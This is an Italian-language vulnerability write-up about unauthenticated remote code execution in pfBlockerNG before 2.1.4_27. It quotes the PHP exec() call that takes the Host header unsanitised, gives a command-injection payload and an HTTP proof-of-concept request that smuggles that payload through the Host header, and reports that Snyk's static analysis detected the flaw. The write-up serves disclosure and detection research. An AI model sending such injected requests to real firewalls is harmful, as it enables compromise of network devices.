
Proof-of-concept exploit per l'esecuzione remota di codice non autenticata in pfBlockerNg tramite input non sanificato nella funzione di query DNSBL TLD, con analisi di rilevamento SAST.
pfBlockerNG è la nuova generazione di pfBlocker con le seguenti funzionalità:
https://docs.netgate.com/pfsense/en/latest/packages/pfblocker.html
pfBlockerNg <2.1.4_27
Esecuzione remota di codice non autenticata (RCE)
La query per la sezione TLD Block di index.php include un input utente non sanitizzato/non escapato d_query proveniente dall'header Host nel sink della funzione PHP exec.
exec("/usr/bin/grep -l '^{$d_query}$' /var/db/pfblockerng/dnsblalias/DNSBL_TLD", $match);
/pfblockerng/www/index.php
// Query for a TLD Block
if (empty($pfb_query)) {
$idparts = explode('.', $query);
$idcnt = (count($idparts) -1);
for ($i=1; $i <= $idcnt; $i++) {
$d_query = implode('.', array_slice($idparts, -$i, $i, TRUE));
exec("/usr/bin/grep -l '^{$d_query}$' /var/db/pfblockerng/dnsblalias/DNSBL_TLD", $match);
if (!empty($match[0])) {
$pfb_query = 'DNSBL_TLD';
break;
}
}
}
Richiede accesso HTTP alla console web di pfsense
Payload di esempio: ' *; sleep 5; '
Richiesta POC:
GET /pfblockerng/www/index.php HTTP/1.1
Host: test.test2' *; sleep 5; '
Content-Length: 2
Adoro pfBlockerNg e sono stato ispirato dalla recente CVE-2022-31814 di Di r00t e dal suo ottimo writeup https://www.ihteam.net/advisory/pfblockerng-unauth-rce-vulnerability/ ed ero curioso di vedere se lo strumento di test statico della sicurezza delle applicazioni (SAST) di Snyk avrebbe rilevato la vulnerabilità. Quindi ho scaricato il corrispondente file index.php versione 2.1.4_26 e ho eseguito Snyk Code su di esso. Effettivamente Snyk ha rilevato la vulnerabilità e un'altra segnalazione simile poche righe dopo.